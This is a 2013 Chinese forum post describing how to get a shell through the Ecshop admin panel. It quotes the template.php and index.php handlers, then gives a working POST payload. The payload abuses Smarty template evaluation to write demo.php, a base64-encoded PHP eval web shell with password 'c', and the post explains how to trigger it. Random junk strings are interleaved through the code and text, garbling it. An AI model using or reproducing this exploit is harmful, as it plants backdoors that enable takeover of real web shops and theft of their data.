找回密码
 立即注册
查看: 2819|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板& Y/ h) i. m2 f) b" ~

4 {1 o7 |6 q: l4 @  [4 j# e! n- e+ g而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ Y" z* U  f' s但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 Y: r* P: L( d* R: [8 t
admin/template.php8 W" y4 m, D8 Y# e5 Y- r! w+ Q; n
+ f+ ?- ^% C1 C% E8 y
1 if ($_REQUEST['act'] == 'update_library') 2 A! w2 @) n. _
3 h7 s0 d0 X4 U% `
2   
; k' M3 ^& M5 ]8 q3 s2 m; G% V5 v, M* A+ w/ U
3 {
2 G2 y  C9 e; v5 T$ h" R- y
+ u- o# ^8 `8 ^9 i( J9 _4     check_authz_json('library_manage'); ( v% }4 ?2 e, H& H1 ^& v

. W3 \! S) X# [  U5   
, Q; f$ R0 B7 d2 ?3 ]4 U9 i, ^) m, A: u/ T2 @5 C
6     $html = stripslashes(json_str_iconv($_POST['html']));
! f( H$ q/ J( K& l# W
: l+ A" D; Q0 ]$ L- v3 {! @' K7   5 b) H' L9 L: `
* b. I6 R; m8 `/ ~! o6 |  n( A
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
1 w* v- ]4 r* j3 s7 o# h0 H; ?0 _; X
9   - v8 o# N. ?- t- ~: ?$ S+ a+ e
! b7 a  a4 w+ I% j  |" L
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
' {' v4 [- b7 L: }( p1 m3 u9 l1 O& H8 ^
11   
/ B+ S7 ^& T- b4 u& K0 u/ i# Z6 g# W7 \' j
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 h5 h1 w* G7 P

+ |3 A8 |: ^! Q  p5 \# h13   7 w3 Y" X. b$ ^
/ Z- g! B! z! ^& b2 M
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ( N9 E; N5 M2 c9 Y
4 ^7 @7 H# F+ f. U) `
15     {
' t4 N, U; p& ?7 q4 {( ?$ e# k$ D' V' x- F5 j7 F$ N4 O
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); . x$ {( l/ ?* P1 Y& K" q

4 B% r- w. Y$ {" P17         make_json_result('', $_LANG['update_lib_success']);
. S7 P; k1 R% k3 I- l; P6 _- g. M! P! ]# v
18     } 8 {! w7 z4 @( C4 q& r
$ J0 v0 A( Z. y
19     else
! O" M( H6 W: f# N" W1 P- j
, O# D! j3 X" @  X1 Z' y- |* U20     {
# v/ X1 y4 n: Z( Y' _0 L8 R% j' @9 }7 v6 J
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
0 B' K& D7 T+ G, P4 M: Q+ k9 ]) Y8 L; Z  B
22     } 3 W, w/ t0 w- }$ `
* |1 ]: }- g& q3 v% e
23 } 6 \1 g+ Q7 o: J9 h8 }; H0 }( ]
# b( J6 n9 S; X  t' ?5 Q
那么找个比较方便调用了模板的文件4 {' j* m1 O7 y, [
index.php* R% y* B; u) K5 X% b" b5 g) Q! [

- R6 v) D1 n! x6 P8 i2 B- p1 if ($act == 'cat_rec') + A: @) v) K5 a: H! |3 [
: e, l' F6 \7 e! D
2   " s9 M) ]5 I% L# x( D3 A

! F" n# e! J6 ]1 l3 {
% ]& w- O; ~% ]2 S  l
/ d" e) q1 u( `6 w# o% {4   & Q* P9 _' O, A) x2 w
5 @) Q3 i! c  Z; p" x
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# {& x6 f/ t3 e- _) b
" I4 O" J+ m6 y: q6   
- o  I5 T8 p* y- X& t' c8 X1 r/ t' A  Z: j- h
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 3 f4 x9 Y& w& R6 ]' e' [

7 c2 h! S1 u  p4 Q8   
4 k4 |' W7 i0 j0 f- @3 n7 D5 A" r( T$ @4 U5 V
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
* ?4 \2 A4 o+ h; W) {8 y! G
- d/ J* c+ U$ L: ]10   
" v) Z  B( N! m/ l& f, ?+ _
8 ~- d- U+ j& ]; h4 x1 w3 h1 d2 ^7 y4 R11     include_once('includes/cls_json.php'); $ `5 c5 {& [3 b9 e3 I6 C# A0 w

; r7 c- J/ e$ p- M9 ~12   ' {" k9 B% f+ s# h
  C+ }& P) J7 v; f- K# s$ i! H
13     $json = new JSON; 6 L, F2 w3 J( g! x: U
# n. ]; F8 G) O
14   
; [, \5 l, N& _4 I* P/ _% A5 U; \( E. Y9 f8 G+ {
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); - K2 [4 Y7 [( s

& T% v: j% u* d- t; Q: v8 t/ q16   6 g" y' M8 J2 u+ T3 l  _. r

$ |, U% O5 t6 {  @- o17     $children = get_children($cat_id);
0 @$ m  {0 \3 y8 z2 ]$ ]- H( \- n# d) p; ?/ r! r
18   
. Q9 M' w% M0 G% s
" Y. j6 P" x" W& Q, W19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
  _( p( @' j9 x! r, O9 U
6 W$ j5 `5 ?3 i$ C. s( E20   
  F0 j4 m6 L8 Z: R5 T' E- C# J- S3 Q) i/ ?" w) f2 [
21     $smarty->assign('cat_rec_sign', 1); " u3 ~) T8 r0 v% f9 ], s2 u& D

. _7 w# h* l- I22   
# x' ~% x" O; @5 Z8 {0 ?) M: r, R! u3 L7 t1 j
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
6 }' c* q1 u, w" k3 I9 W; s( W: X/ \5 I: _/ D1 i+ D' P* n
24   ! h" T  y) }  H  }
* E2 ~. @$ _% [! B; y$ W
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; - ]9 p, E6 V( V4 V
+ w2 Z5 \  A) v+ n6 I1 Q/ r9 {
26   . i: J2 |9 m/ ], e% F8 |+ [

/ Z# v+ h7 {5 u2 C3 i27         echo $rec_array[$rec_type];
2 b) {! N  f% f3 A0 X
6 J# E) d  B; o' U, M28   
7 q1 P3 O; N1 p; M+ \% ^: C4 F" i, ?; n8 i3 Z  Y
29     die($json->encode($result)); - \, \/ ^4 \! c, A! @9 @+ j* L- [
9 W' g+ |% W: ^# H4 [: E
30   9 J  H# Y1 `" I

( j' o' M8 m2 c- @' R31 }
3 H8 T8 ~% P+ I7 V  ]* @( ^4 J; F4 g6 h0 e% G; \. Q
那么就有利用方法了
0 [5 ^9 S5 r: p( U6 I7 ^$ Kpost包到http://localhost/ec/admin/template.php?act=update_library/ v6 ~7 ?. G8 e+ B8 S
Post内容:: N9 w' Y- g& z$ }, k/ a
. x; \/ A6 w$ w

  ~/ g' J, a+ x. s1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; w) L4 U" J& U/ e7 b

2 s7 k2 B- F! B8 L* H然后访问http://localhost/ec/index.php?act=cat_rec7 F9 P) z. j7 d

/ n) g5 ]' z- A% O( pshel地址:http://localhost/ec/demo.php) l, e0 `" }: m, }% G: @* S" o
密码c
# L* n  C4 C: p4 c- i
( n- L$ D* F) Q# V) _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表